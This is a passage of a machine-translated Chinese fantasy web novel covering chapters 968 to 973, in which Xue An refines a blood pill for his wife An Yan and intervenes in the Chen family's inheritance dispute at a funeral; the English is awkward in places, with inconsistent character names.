    This series of blows made his eyes red, full of crazy killing intent.


    "My lord, we are not good, and Mengxue is not taken care of!" Anastasia cried.


    Xue An''s face was sinking, he ignored these words, but went straight upstairs and came to the room where Fan Mengxue had lived.


    After opening the door.


    The layout inside is simple and plain.


    And different from the medieval style of the Dark Castle, this place is just like the boudoir of an ordinary Chinese girl.


    But at the moment when the door was opened, a black gas seemed to flash by.


    Xue An''s eyes flashed, and then stepped into it.


    The room was filled with a faint fragrance of young girls Other than that, there was nothing unusual.


    Everyone dared not say anything, but looked at Xue An quietly.


    At this time, Xue An walked slowly to the bedside and placed a photo on the bedside table.


    Xue Anshun took it up.


    This is a photo from an outing.


    The above is surprisingly my boyhood and Fan Mengxue.


    Seeing Fan Mengxue with a green smile but a brilliant smile in the photo, Xue An suddenly became a little silent.


    He remembered when this photo was.


    That was when I was in high school.


    After the college entrance examination, the school organized an outing.


    And that was the last time he and Fan Mengxue had seen in high school.

 Chapter 968： This is a favor, they have to help or not...

    Since then, Xue An left Beijiang, and when he saw Fan Mengxue again, it was already after Xue An returned.


    Unexpectedly, this picture of Fan Mengxue has been kept, and it can be seen that she takes this picture very seriously, and she has even become a little pale.


    Xue looked quietly.


    The people in the dark council at the door looked at each other, wondering what Xue An was doing.


    It wasn''t until a long time later that Karthus asked worriedly.


    "Big...sir, is something wrong with Mengxue?"


    Xue An put down the photo and shook his head gently, "She has nothing to do! She just went to a far place!"


    "a place far away?"


    Everyone was a little confused.


    Xue An said lightly: "Yes! A place far, far away!"


    Karthus looked confused and just wanted to talk.


    Anastasia stopped him, then shook her head at him with a serious face, motioning him not to ask any more.


    Karthus glanced at Xue An''s back, finally swallowed what he wanted to say and lowered his head.


    At this moment, Xue An walked slowly to the window, looked up at the night sky outside, and whispered to himself: "Although the breath is already weak, I can still feel the power! Is it a summon?"


    "And if I''m not mistaken, it''s because... the Dark Holy Emperor will decide!"


    Speaking of this, Xue An''s eyes flashed with complex light, there was joy, but there were more deep concerns.


    "Mengxue, from then on, you will truly embark on the dark road, and this road is destined to not be so smooth!"


    "But don''t worry, no matter who it is, if you dare to bully you, I will still stand up for you like I did in the past!"


    As if in response to Xue An''s words, a meteor passed across the sky.


    Xue An raised the corners of his mouth, revealing a faint smile.


    When Xue An returned to Beijiang from Europe, everyone was anxiously waiting for him.


    Seeing his body fall, An Yan rushed over first.


    "How? Did you find Mengxue?"


    Xue An shook his head, "No, but don''t worry, she''s fine!"


    An Yan wanted to say something, but seeing Xue An''s expression, she finally swallowed back.


    At this moment, I saw Xiangxiang and Niannian running out crying.


    "Dad! What''s wrong with Xiaosha? Why did she become an egg?" Nian-nian almost cried into tears.


    "Yes, Dad, they all said Xiaosha is dead! I don''t want her to die!" Thinking about it, she couldn''t breathe.


    The distressed Xue An saw, so he hugged him one by one, softly comforting.


    "Okay, okay, stop crying! Who says Xiaosha is dead, even if she is really dead, I can save her back!"


    "Really?" Missing Nian stopped crying while looking at Xue An dimly.


    Looking at the big watery eyes of his two daughters, Xue An couldn''t help but kiss him alone.


    "Of course it''s true, can Dad lie to you?"


    The two little girls broke into laughter, broke free from Xue An''s embrace, cheered and rushed to the Octopus standing in the distance, then raised their pink fists and hit them.


    "Let you talk nonsense! Hmph, Dad didn''t care about Xiaosha!"


    "That''s right, Dad is not that kind of bad person. He has said that he will save Xiaosha! Let you lie to us and beat you!"


    The fists of the two little girls were hammered on Zhang Xiaoyu''s body like no money.


    Zhang Xiaoyu grinned at Xue An embarrassedly.


    "Hey, my lord, I''m sorry, I''m just afraid you won''t save Master Xiaosha!"


    Xue An naturally saw that it was the two little girls that Zhang Xiaoyu slapped, but this was also to save Xiaosha, so he just smiled non-committal.


    Wait until the crowd disperses.


    The two little girls went back to their room to sleep.


    Now these two little girls have a strong self-awareness, and they have to be independent even when they sleep, which makes An Yan very sad for a while.


    But now.


    After hearing the sound of sleeping from the two daughters in the bedroom, An Yan walked towards the roof lightly.


    Xue An is sitting on the rooftop and drinking slowly.


    It was April in the world. Although the flowers were blooming, it was still a bit cold at night.


    In the breeze, An Yan walked to Xue An''s side, pulled a chair and sat down, and poured himself a glass of red wine.


    Xue An turned his head and glanced at her, smiled slightly, and raised his glass.


    After the two drank the wine in the glass.


    An Yan said softly, "Husband, what happened to Mengxue?"


    Xue An did not speak, but quietly looked into the distance.


    The rooftop of this villa is the highest point around, sitting on it, and even overlooking the entire Beijiang.


    Xue An''s gaze seemed to penetrate layers of darkness, looked towards the unknown, and then said lightly.


    "She went to a sacred place for the dark ones! There should be a way for her to go!"


    An Yan was startled, "You mean..."


    Xue An said calmly: "I once told Mengxue that when I chose this path, I chose to walk alone in the dark! She calmly told me that she was willing to bear all costs for it!"


    An Yan was silent.


    All around was quiet, only the breeze in the night sky was whispering.


    After a long time, she whispered: "Will you see it again?"


    Xue An smiled, "Yes, of course! Speaking of which, there are my old acquaintances in that place!"


    It''s just that Xue An''s tone became a little weird when he mentioned the three words old acquaintance.


    But An Yan didn''t notice the slightest strangeness at all, but stared at the night sky blankly, and suddenly sighed, "Actually, I think Mengxue is really pitiful!"


    Xue An lowered his head and drank without speaking.


    After a while, An Yan whispered: "Husband, what happened to Xiaosha? Isn''t it really like Qinger said, has been...dead?"


    In the darkness, Xue An was silent for a moment, then nodded gently, "She''s right!"


    An Yan was shocked. She thought Xiao Sha was just asleep, but she didn''t expect even Xue An to say so.


    At this moment Xue An said lightly: "That palm directly sealed all the vitality of Xiaosha, and after such a long time, Xiaosha''s vitality has indeed been shattered! Even if it was me, it was impossible. Let her be born again!"


    An Yan was trembling slightly, and it seemed that the girl with a shameless face was smiling and shouting to herself, Lord Mistress.


    For a time, An Yan''s heart was like a knife.


    "But..." Xue An''s eyes shone brightly, "Even if she is really dead, I will let her come alive!"


    An Yan was startled, "Husband, what can you do?"


    Xue An raised his head and looked at the starry sky, and said lightly: "There are many ways, but the safest and most sure of success is to go to the Dragon Realm and reincubate Xiaosha��s dragon egg in the origin of the Dragon Realm. , Xiaosha can not only live, but even reach the sky in one fell swoop!"


    "But...Is Dragon World willing to help?" An Yan said hesitantly.


    Xue An smiled, "This is a favor, they have to help, or if they don''t! I can''t help but they disagree with what I decide!"

 Chapter 969： Refining Blood Pill

    Hearing Xue An''s words, An Yan slightly let go of her heart.


    At this time, Xue An gently embraced An Yan''s waist.


    An Yan lay down on Xue An''s shoulders.


    The blue silk moves with the wind, and the world is silent.


    Xue An sniffed the scent in An Yan''s hair and said softly: "In these two days, I will use blood beads to refine the pill for you!"


    "Yeah!" An Yan replied in a low voice.


    "Husband, when we finish refining the pill, are we leaving again?"


    Xue An nodded gently, "Yes!"


    "Where are we going this time?"


    Xue An smiled slightly and messed up An Yan''s hair with his hands, "Don''t put so many things in your little head, follow your husband and make sure you have your meat!"


    "Oh, hate, I just combed my hair!"


    In An Yan''s anger, Xue An felt that even the night was becoming cute.


    And when Xue An and An Yan staged a dog abuse drama.


    In the incredible dragon world far away.


    A giant dragon the size of a star suddenly opened its dragon''s eyes.


    And not only him, but also a few dragons who were not inferior to him, opened their eyes.


    "Do you feel it?"


    The other Ancestral Dragons nodded solemnly.


    "Speaking of which, this is the second time I have felt this kind of heart-palpiting breath!" There was a hint of panic in the voice of the dragon.


    "It is already certain that it is definitely the breath of that guy! I know how can a strong like him fall so easily?" Another ancestor dragon also said with a look of horror.


    "Last time I asked you to put away all the treasures, did you do it all?"


    "I did it! The main hall is not demolished!"


    "No, that guy has been plucking hair, maybe even the hall is not let go, now go to tear down the hall!"


    "Yes!" A smaller ancestral dragon was about to leave.


    "come back!"


    "What''s the order?"


    "Remember, don''t tell the little princess about this!"


    "understand!"


    The whole dragon world became troubled because of this incident.


    And here.


    Xue An is preparing the matters needed to refine this furnace of pill.


    The most important aspects of alchemy are nothing more than three levels.


    Pill fire, pill furnace, and medicinal materials.


    Now there are medicinal materials.


    Xue An has condensed almost an entire blood clan into blood beads.


    Dan Huo is even more so.


    In the whole world, can there be a flame stronger than Xue An''s Red Lotus Fire?


    The only difference now is the pill furnace.


    In fact, with Xue An��s current pill, even a rice cooker can make a decent pill.


    But in order to better condense the efficacy of the medicine to break the seal, Xue An decided to take it seriously this time.


    Being able to make Xue Andu so cautious, it can be seen how extraordinary this furnace of elixir is.


    Now go to the refiner, it is obviously too late to make the pill furnace.


    And there is no ready-made pill furnace available on earth.


    In fact, under Xue An''s spiritual exploration, some broken furnaces were found in every corner of China.


    These are the legacy from thousands of years ago.


    Although the materials are all good, they have degenerated into a piece of ordinary iron now, without any spiritual power, because of the time spent in lack of spiritual energy.


    But this is obviously not troublesome for Xue An. After thinking about it for a while, he began to frequent the famous mountains and rivers of China, and he often went out for most of the day.


    This made An Yan a little puzzled, and asked him several times what he was going to do, but Xue An just laughed and said nothing.


    at last.


    on this day.


    Xue An prepared everything.


    The Chinese monks, and even the people of the whole world, learned of Xue An''s plan to make alchemy, and they couldn''t help casting their curious eyes.


    Major TV stations around the world have aimed their cameras at Beijiang.


    Now Xue An, every move affects the hearts of people all over the world.


    Therefore, in the eyes of these reporters, there is simply no better shooting material than him.


    When Xue An''s figure appeared on the camera.


    Many people began to cheer.


    Cheers to their heroes.


    Xue An just smiled lightly at this, then jumped up and flew into the sky.


    at the same time.


    In the studio of the Zhongdu TV station, there is an alchemy monk with a childlike face and a fairy style.


    Taking advantage of this time, the host began to question.


    "May I ask Alchemy Master Wang, how do you think Mr. Xue plans to make alchemy?"


    This Master Wang Alchemy stroked his beard, and said indifferently: "In my opinion, although Mr. Xue has a stunning cultivation base, alchemy cannot be solved by brute force alone! So I think this time, Xue Mr. I guess it will be difficult to succeed, because alchemy must have a pill furnace, but do you see that there is a pill furnace in the sky?"


    Hearing the question from the Alchemist Wang, many people looked at the sky in the picture carefully, and it was really empty without any trace of the pill furnace.


    "Hehe, so what do I say, although Mr. Xue is amazing, he is still too young, and when he is young, is it easy to make mistakes!" Said the Wang Danshi with an expert manner.


    But Chen Xiaoyi, who was watching all this under the studio, couldn''t help but furious.


    At this moment, she is no longer the tabloid reporter who writes Entertainment Weekly in the provincial capital, but the editor-in-chief of this Zhongdu TV station.


    She didn''t need to be responsible for this live broadcast.


    But because it was about Xue An, she still took the initiative to ask Ying to come and help.


    As a result, I ran into an old immortal talking about it.


    Just as angry as her, there are many viewers in front of TV.


    "Where''s the old guy! How dare you say that Mr. Xue is not?"


    "That''s, if it weren''t for Mr. Xue, this old immortal would have been done for a long time, can you sit on it and talk about it?"


    "Tsk tusk, what a brick house with no skin and no face! You actually use your own level to speculate on Mr. Xue''s abilities, and dare you to mock Mr. Xue''s youth? What a death!"


    These discussions and ridicules, this Wang Danshi naturally did not know. Now he feels good about himself and is talking endlessly with the beautiful host with a strange look.


    "I think if Mr. Xue fails to refine the alchemy this time, I can help him refine it for free After all, does Mr. Xue have great favors to our country and the whole world!"


    Just when he was talking happily.


    Someone exclaimed, "Look! Mr. Xue has moved!"


    Everyone turned to look.


    really.


    Seeing Xue An waved his hand at this moment, all the blood beads stored in the mustard seed ring and the Fubao Xiaolou appeared in the sky, and the number was so large that they converged into a long red river.


    A girl was shocked and said: "This color number is so beautiful! It must be a good lipstick!"


    However, more people still looked up solemnly.


    But the teacher of Alchemy Wang sighed, "I guess..."


    But before he finished speaking, Xue An raised his hand, and the light and shadow flickered in his palm, and he softly shouted.


    "Borrow the Quartet Mountains and rivers to use!"

 Chapter 970： Take heaven and earth as furnace

    With an order.


    I saw that all the five mountains and mountains above the land of China were shocked, and countless dense runes appeared on the mountain, and then radiant brilliance spurted out from the top of the mountain, and came straight to Xue An.


    In an instant.


    The mountains and rivers of China moved together, and Guanghua gathered in front of Xue An, and then a huge and incomparable pill furnace virtual image appeared.


    Everyone was stunned by this scene.


    Including the Alchemist Wang who was still talking about it just now, he looked at all this with a dull expression.


    At this time.


    See Xue An flipped his hand.


    "In!"


    boom!


    The blood bead filled the sky like a long river spitting water, all rushing into this pill furnace.


    After a few breaths, all the blood beads entered the pill furnace.


    Then Xue An waved casually, "Sheng!"


    The red lotus fire suddenly emerged, and the blood beads in the roasted pill furnace rolled and surging, and there was a faint voice of howling.


    And the boundless vitality, even the entire sky was reflected in red.


    Xue An remained unmoved, just watched quietly.


    In an instant.


    Seeing that this furnace blood bead turned into blood water.


    The blood water of crystal red like agate flowing in the alchemy furnace, the huge blood energy contained in it, made all the secret blood tribes such as Erad and others watching from a distance.


    At this time.


    Xue An urged the flames and began to refining blood.


    at last.


    After a quarter of an hour.


    The blood in the furnace became more and more vigorous.


    As soon as Xue An raised his hand, he saw an extremely clear blood drop as big as a fist floating in the air.


    It is the blood bead that the blood **** Caia condensed.


    As soon as this blood drop came out, Gaia''s begging for mercy seemed to be faintly heard in the air.


    Xue An didn''t pay any attention at all, but narrowed his eyes, and the huge divine mind instantly carved countless precise runes on this blood bead, and then suddenly threw it into the pill furnace.


    boom!


    I saw the blood in the pill furnace soared, and even tried to break the limitation of the pill furnace.


    Upon seeing this, Xue An just snorted coldly, and the red lotus fire completely enveloped the pill furnace.


    at last.


    After another quarter of an hour.


    Pill furnace gradually settled down.


    Then Xue An waved his hand, and the red lotus fire ceased.


    But at this moment, I saw the roof of the pill furnace exploded.


    A red light rushed into the sky, trying to escape!


    Xue An didn''t even move.


    Just smiled coldly, "Want to run?"


    As he said, he probing his hand, he reached into the void, appeared directly next to Hong Guang, and grabbed it back.


    But at this moment.


    I saw dark clouds gathering in the sky, and thunder surging in it.


    Xue An didn''t even look at it, but yelled casually, "Thunder God!"


    The voice just fell.


    A frying pan rose to the sky, smashing the sky full of black clouds, and the thunder light in it was swallowed by the Thunder God in the pan.


    Then he burped and went back contentedly.


    At this moment.


    Xue An slowly opened his hand.


    In the palm of his hand is a pill that is as big as a pigeon egg, but extremely crystal clear.


    A strange fragrance spread throughout Beijiang in an instant.


    Many monks smelled the incense, their spirits were shocked, and even their minds were faintly stabilized.


    At this time, even a fool could see that Xue An''s pill was made.


    As a result, in the studio of Zhongdu TV Station, everyone''s attention was focused on the Wang Danshi.


    I saw his face turned green and red, and then he was thinking of saving a little bit of face, "Ahem, am I right? From the beginning to the end, Mr. Xue didn''t use the pill furnace! This might be something novel. Practice alchemy!"


    But he just finished speaking.


    Seeing in the picture, Xue An, in a good mood, was facing a reporter��s question, and smiled slightly: "This is alchemy, but I am using Tiandishanhe to make a pill furnace. Otherwise, ordinary pill furnaces simply cannot bear it. Live with such a powerful spiritual power!"


    These words seemed to be a slap, and they all slapped the face of Master Wang.


    In the end, he ran away shamefully and desperately.


    The audience who saw this scene burst into laughter.


    "I dare to mock Mr. Xue, I really put my face in and waited for the fan!"


    "Tsk tusk, now this Alchemist Wang is also well-known!"


    Xue An naturally didn''t know such an episode.


    After he finished refining the pill, he returned to Villa No.1 Tianzi.


    "Hey, take it in a while!" Xue An was like coaxing a child to take medicine.


    An Yan was a little bit dumbfounded, "I''m not a kid anymore, can I still teach you?"


    After speaking, he took the pill, swallowed it without hesitation, and then blinked.


    "Husband, what am I..."


    Just as An Yan wanted to ask why she didn''t feel it, she felt an extremely abundant and condensed spiritual power rushing to the sky.


    With this powerful impact, An Yan fainted without hesitation.


    Xue An hugged her, then shook his head and chuckled, "I know you can eat, but haven''t you thought about waiting to eat in bed?"


    Hu Ying looked at her with envy.


    After Xue An carried An Yan onto the bed.


    Hu Ying leaned closer and looked at it for a while, then raised her head a little strangely, "Brother Xue, what''s the matter with the seal on my sister-in-law?"


    Xue An said lightly: "It''s nothing, it should be sealed by a passing fairy king!"


    "The fairy king? Does a mere fairy king have such great ability?" Hu Ying was puzzled.


    But she was the only one who dared to describe a fairy king in trivial terms.


    Xue An was noncommittal, "What do you think?"


    "Although my current bloodline and cultivation base have not recovered yet, I always feel a little weird after smelling the smell!" said Hu Ying.


    Xue An smiled faintly, "Whether it is, it doesn''t matter, it will be clear afterwards! But you..."


    "Me? What''s wrong with me?" Hu Ying suddenly became a little nervous.


    Xue An sighed, "You have been out for so long, aren''t you afraid that your brother and the elders of your fox country are worried about you?"


    "Don''t be afraid! Besides, I have been there since I was born, and I have been there for more than three thousand years. I am tired of staying!"


    As he said, Hu Ying''s little head came over and looked at Xue An hopefully, "Brother Xue, after this matter is done, are you going to the heavens?"


    "Who said I''m going to heaven?"


    "Cut, do you really think I''m stupid? Obviously, Li Hentian''s matter will not be over. You will definitely investigate and find out, right?" Hu Ying blinked his big eyes and said cunningly.


    Xue An looked at her helplessly, "So what?"


    "Take me to chant?" Hu Ying said excitedly.


    Xue An shook his head, "No, I have to send you back to Qingqiu first!"


    Hu Ying''s face collapsed in an instant and then she began to use the method of grinding people, grabbing Xue An''s hand and shaking it vigorously.


    "Oh, Brother Xue, you take me to go with me, I promise you won''t cause trouble, and I can help you wash and cook for you and wash your feet on the warm bed..."


    "It''s okay..." Xue An was fainted by the shaking head of this Fox Ying.


    "Brother Xue, did you agree?" Hu Ying said happily.


    "Everything else is fine, except this matter!"


    "Why!" Hu Ying''s mouth pursed.


    "Because..." Xue Angang wanted to say something.


    Seeing An Yan who was lying there trembled suddenly, the aura on his body began to climb wildly again.


    From the half-step golden immortal, he easily entered the ranks of the golden immortal, and strode towards the half-step true immortal.

 Chapter 971： Chen Family Matters

    "This...Is this practicing? But the speed of this realm improvement is a bit too fast!" Hu Ying said dumbfounded.


    Xue An was not surprised, but looked at An Yan lying on the bed with a playful look.


    Is this another effortless breakthrough?


    This time, he directly broke through the golden immortal who was regarded by countless people as the sky moat.


    Could it be said that after the seal is completely untied, Yan Er can still become the fairy king directly?


    Thinking of this, Xue An was a little bit dumbfounded.


    Because he thought, maybe... it''s really possible!


    at last.


    An Yan''s ascent speed gradually slowed down, and finally stayed at the realm where he was only one step short of breaking through to become a true immortal.


    Hu Ying blinked her eyes and said in amazement, "Brother Xue, my sister-in-law seems to be better than you!"


    Xue An smiled bitterly, "I feel so too!"


    At this moment.


    An Yan lying on the bed slowly opened her eyes.


    At the beginning, she was still a bit at a loss, but soon she regained consciousness, and then she looked at herself and shouted in surprise.


    "My husband, I have broken through again! It seems that this cultivation is not as difficult as you said!"


    Xue An''s mouth twitched slightly, "Yes, it''s not difficult at all!"


    "But what about the seal on my sister-in-law? You have to know that Brother Xue has already condensed the entire blood clan!" Hu Ying suddenly asked.


    Xue An smiled slightly and said faintly: "Using blood beads to break the seal is just a stopgap measure. If you want to completely unlock the seal, you have to kill the guy who sealed Yan''er."


    Speaking of this, Xue An''s eyes flashed with killing intent.


    Although it was a long time lapse, Xue An still clearly remembered the breath left in the seal.


    Although the heavens and worlds are vast and vast, there are countless immortal kings.


    So this guy can never run.


    Hearing what Xue An said, An Yan hadn''t spoken yet, but Hu Ying was already excited and about to jump up.


    "Yes, I dare to seal my sister-in-law, he must be killed! Brother Xue, when are we going to leave?"


    Xue An looked at Hu Ying with a smile, "What can I do if I leave? Did I say I took you there?"


    Upon hearing this, Hu Ying''s face collapsed immediately, crying and saying: "Brother Xue! Take me with you!"


    Xue An was unmoved.


    Upon seeing this, Hu Ying immediately changed her subject, and said to An Yan, "Sister-in-law..."


    An Yan was a little dumbfounded.


    This little girl was full of hostility towards herself at the beginning.


    But under An Yan''s means, but a few face-to-faces turned to An Yan''s ears.


    Now it''s more like a child.


    "I can''t do this kind of thing, so I should ask you Brother Xue!"


    Hu Ying blinked her big watery eyes and looked at Xue An again.


    But at this moment.


    Just listen to Xuan''er''s voice from outside.


    "Xue An, there are people from Zhongdu!"


    Xue An was startled and walked out of the room.


    "who?"


    Tang Xuan''er sighed softly, "People are in the living room. Go and take a look!"


    When Xue An walked into the living room of Villa No.1 Tianzi, many people got up.


    "Mr. Xue!"


    "Master Xue!"


    These reverent voices from the heart and soul one after another.


    Xue An ignored these, because all his attention was attracted by Chen Rushi, who was standing in the middle of the crowd, dressed in plain clothes and wrapped in black yarn on his arms.


    This Chen Rushi had already returned to Zhongdu two days ago, but he did not expect to come back now.


    And also dressed like this.


    Just as Xue An was stunned.


    I saw Chen Rushi kneeling on the ground respectfully, bowing to Xue An, and then trembled.


    "Mr. Xue, tomorrow will be my grandfather''s funeral! You are a good friend of his life, so the Chen family specially invited you to come!"


    Xue An then understood what was going on.


    It turns out that Chen Rushi came to invite himself to attend Chen Xiu and the funeral!


    Xue An moved slightly in his heart, and then sighed lightly.


    "Ms. Chen needless to say, I have made friends with Mrs. Chen, and I have always regarded her as seniors. This time Mrs. Chen was sacrificed for the integrity of the entire Chinese nation. How can I not go to his funeral?"


    Chen Rushi, whose eyes were red and swollen, couldn''t help crying again, "Thank you, Mr. Xue!"


    With that, Yingying bowed down again.


    Xue An waved his hand, and a gentle force lifted Chen Rushi up.


    "Ms. Chen doesn''t need to be so polite, this is what I should do."


    Hearing what Xue An said, some people who followed Chen Rushi turned pale, and then lowered their heads.


    Xue An sneered slightly when he saw it, but didn''t say anything.


    At this time, An Yan and Tang Xuan''er both stepped forward and helped Chen Rushi up.


    "Like a poem, what Lingzu has done can be regarded as an example of the Chinese nationality. You don''t have to be too sad, your body is important!" An Yan comforted softly.


    Chen Rushi, who has never had a rest since returning to Zhongdu, heard An Yan''s words and nodded with tears in his eyes.


    "Yes, sister Yan!"


    Now An Yan is very prestigious among the younger generation of women.


    When many people call her, they are honored to call her sister Yan.


    After a few more words, Chen Rushi wanted to leave and return to Zhongdu.


    At this time, Xue An said lightly from the side: "As poetry, your body is weak now, and your qi is disordered. If you continue to consume it like this, you will only lose your vitality. It is better to live here, and I will take you back to Zhongdu tomorrow!"


    "But..." Chen Rushi was startled slightly.


    "That''s it!" Xue An made the decision directly.


    Then An Yan and Tang Xuan''er walked into the inner room with Chen Rushi.


    Xue An glanced at the people in the room, smiled inexplicably, and then turned and left.


    After he left, many people who accompanied Chen Rushi were all sweating profusely, and their eyes were filled with hesitation and shock.


    Then one person whispered: "Do you want to tell the Third and Fourth Young Masters about this matter?"


    No one said anything.


    Many people even looked at the person talking with foolish eyes and then someone sneered: "Three young people and four young people, hehe, these guys are even ants in front of Mr. Xue It doesn''t count, if you are willing to notify you, go and notify!"


    "Yes, don''t you see that the position of the lady in front of Mr. Xue is very unusual?"


    The speaker shrank his neck and said with a strong smile: "I just said that. I am loyal to the lady, and there is nothing bad about it!"


    These Chen family servants, who had their own thoughts when they came, all saw the situation at this moment, and immediately stood on Chen Rushi''s side.


    at the same time.


    In a secret room in Zhongdu.


    Chen Shangzheng, the third youngest member of the Chen family, sipped the red wine with a pleasant expression, then sighed lightly.


    "What a superb wine! If that old man is not dead, how could I get such good wine from the wine cellar of the Chen family!"

 Chapter 972： Above the funeral

    And his cousin Chen Beilie said with some concern: "Brother, you said that the stinky lady Chen Rushi went to Beijiang, would he really bring some rescuers?"


    Chen Shang smiled coldly when he heard the words, "What can she have to rescue soldiers? It''s nothing more than to ask Xue An for help!"


    "I''m just worried about this! You know that with Xue An''s strength, we all add it to him and he can''t run it with a single finger!"


    Chen put down the wine glass, a sneer appeared on his face, "Why? Afraid?"


    Chen Beilie swallowed and nodded slightly, "May I ask who in the entire world is not afraid of Mr. Xue?"


    "If you are afraid, you can quit!"


    "but����."


    At this time, Chen Shang sneered for a while, "I admit that Xue An is indeed amazing, but don''t forget! What is his identity, and what is Chen Rushi''s identity!"


    "Brother, what do you mean?"


    "Chen Rushi has deep roots in Xue An, it is no secret in China! But the point is that Xue An has a wife! And he is also the number one wealthy family in China today. This Chen Rushi obviously has no chance!"


    "When Chen Xiuhe was still alive, everyone gave some face! But now Chen Xiuhe is dead!"


    "Do you think that Xue Anken risked offending his wife to help Chen Rushi?"


    These words made Chen Beilie nodded with a dazed expression, "It seems to be the truth, but what if Chen Rushi really pleased this Xue An?"


    "What can you do if you move? Don''t forget, what are your surnames and my surnames!" At this point, Chen Shang stood up and said smugly.


    "We are all children of the Chen family, and we are still males! Now that the Chen family''s family is withered, Chen Xiuhe is dead, and Chen Rushi''s father also lost his sanity a year ago because of his delusion! Now it can be said that only left Get off the woman like Chen Rushi!"


    "What is this called? It is called no successor! Under such circumstances, it is very natural for us to inherit the Chen family''s property!"


    "No matter how tough Xue An is, he won''t be able to intervene in this kind of thing. After all, this is something within the Chen family!"


    Hearing his cousin Chen Shangyang say this, Chen Beilie''s eyes lit up, and he raised his cup with admiration, "Brother, I have a bottom line when I hear you say this! Come, I toast you a cup!"


    Chen Shang smiled triumphantly, "As I said, this world can''t solve all problems by force alone! Then Chen Xiuhe just couldn''t figure out this truth, so he went to fight a foreign **** stupidly!"


    "What''s that not looking for death?"


    With that, the two pregnant women drank the wine in one go.


    Then Chen Shang said in a drunken voice, "After the funeral is over, let''s find a man to send this Chen Rushi out. Then, the Chen family''s property will be ours!"


    As he said, he laughed cheerfully.


    the next day.


    The atmosphere in Zhongdu became a bit heavy.


    Because everyone knows that today is the day of the funeral of Chen Xiuhe, the old man of the Chen family.


    Early in the morning, people from all over Zhongdu came spontaneously, wanting to give this old man who has brought glory to the Chinese man one last time.


    At this moment, the Chen family was even more so-so, crying loudly.


    The giants from all sides in the capital also came to express their condolences.


    However, the expressions of these giants are somewhat strange.


    Especially after seeing that Chen Rushi, who was supposed to be filial piety before the spirit, was not there, she started to talk quietly.


    "It''s really chilling! The old man''s bones are still cold, and the Chen family has already begun to compete for the property!"


    "Tsk tsk, look at the two brothers Chen Shanghang and Chen Beilie, although they are wearing filthy filial piety, but there is no expression of regret at all, they are really wolfish ambitions!"


    "If you don''t have wolf ambition, how can you do something to bully a weak girl!"


    Although these giants are usually not good people.


    But in this matter all showed great indignation.


    And some people whispered: "I heard that Miss Rushi is going to Beijiang to invite Mr. Xue! Nominally, he invited him to send him off, but I guess it should also be for help!"


    "I also heard about it, and I also heard that Miss Ru Shi and Mr. Xue have known each other a long time ago, and they have a very good relationship! With Mr. Xue''s temper, I guess there is a lot of fun!"


    "This group of Xiaoxiao is naturally not Mr. Xue''s opponent, but after all, the disaster happened within the Chen family. As an outsider, if Mr. Xue directly intervenes, is it a bit bad?"


    "Who knows? Anyway, when Mr. Xue stares, even the gods in the sky have to kneel down, let alone these guys!"


    From time to time, these comments still passed into the ears of Chen Shanghang and Chen Beilie.


    Chen Beilie''s expression trembled a little.


    Chen Shangqiang looked indifferent and didn''t care what others said.


    The atmosphere at the funeral became a little anxious when it was in transit.


    I saw a few streamers flying across the sky from afar, and they fell on the field in a flash.


    It is Xue An and Chen Rushi''s group.


    Their appearance caused a commotion in the audience.


    Especially after seeing Xue An appear on the court.


    Many people shouted.


    "I have seen Mr. Xue!"


    "I have seen you!"


    Xue An nodded slightly at the crowd, which was regarded as a return.


    At this time, when Chen Rushi saw her grandfather''s coffin, she couldn''t help but feel sad and fell to the ground again crying.


    All kinds of things in these days have rushed to this girl''s heart, making her cries very sad, and moving everyone who heard it.


    Xue An raised his head and glanced at the coffin, sighed softly, and then stepped forward, picking up three incense sticks and inserting them into the incense burner.


    "Old man Chen, although you are mundane, you can face the gods at the juncture of life and death without being shy, and you have the integrity of all Chinese people. This alone is worthy of my Xue An''s respect!"


    With that said, Xue An respectfully gave a salute.


    This time the whole audience was silent.


    Many people are even more shocked.


    Want to know who Xue An is now?


    That was the first person in this world.


    Such an identity and strength actually paid respect to Chen Xiuhe''s coffin, which meant too much.


    Therefore, even the chief steward who shouted gifts was a little confused It was not until Xue An raised his head that he reacted and hurriedly shouted.


    "The family members return gifts!"


    Chen Rushi''s crying shoulders were shrugging, and she bowed deeply at Xue Anshen, "Thank you, Mr. Xue!"


    Xue An waved, "Poem, get up!"


    Then he looked around the audience and said lightly: "I plan to let Chen Rushi be the head of the Chen family. Do you... have any comments?"


    This sentence was like a shock to the world, and everyone in the audience was a little confused.


    Chen Shanghang, who kept his head down and concealed his pride in his eyes, was shocked, and then looked up in amazement.


    Seeing that the audience was dumb, it seemed that they had acquiesced to Xue An''s words, and couldn''t help but rush out in a hurry.


    "I have an opinion!"


    Xue An turned to look at the speaker, and said coldly: "Oh? What''s your opinion?"

 Chapter 973： I will convince you

    Under the gaze of Xue An.


    Chen Shangxiang felt that he had fallen into an ice cellar, and his blood was about to be frozen.


    He was shocked.


    Is this the power of the fairy?


    Seeing money as his life, he is willing to give up the fat of his mouth, so he calmly said: "Mr. Xue, you are the strong man who saved the entire world. I will naturally follow what you say!"


    "But this matter, I think something is wrong!"


    "Oh? What''s wrong?" Xue An said lightly.


    "You have to know that although my poetic sister is brilliant, she is a female stream after all, of course! I didn''t mean to look down on women, but after all, women have to marry!"


    "And if sister Rushi becomes the head of the Chen family and marries again, wouldn''t the Chen family change her surname?"


    "So I think this is absolutely wrong!"


    Chen Shangxiang still stumbled a little when he started talking, but he said more and more smoothly afterwards.


    And Xue An just listened quietly until he finished speaking, and then smiled faintly, "It sounds reasonable, but I don''t know who you are?"


    Chen Shangxiang smiled slightly, "My name is Chen Shanghang. Old man Chen is my second-to-be and also the cousin of sister Rushi!"


    Hearing what he said, Chen Rushi on the side finally let out a cold snort, "Haha, that''s right, this is my good cousin!"


    The words were full of chills.


    Chen Xiang didn''t change his color, "Sister Rushi, I''m also doing this for your good!"


    "Haha, for my good? Chen Shanghang, what kind of wishful thinking did you make, do you really think I don''t know?" Chen Rushi''s eyes were about to burst into flames, and she could not wait to rush to bite this guy now.


    "You..." Chen Shang was about to speak.


    Xue An waved his hand and said calmly: "Well, it''s like a poem!"


    "in!"


    "From now on you will be the head of the Chen family!"


    Chen Rushi was taken aback.


    The audience was also startled.


    Chen Shanghang couldn''t believe his ears even more, "Mr. Xue, didn''t you just ask people what they thought? I am..."


    Xue An glanced at him coldly, "I asked if I have any comments, but do I say I want to adopt it?"


    These words made Chen Shangqi almost vomit blood, but he still calmed down and said in a deep voice, "Mr. Xue, even though I respect you so much! But this matter, I am afraid you will not convince the public by doing this!"


    "Oh?"


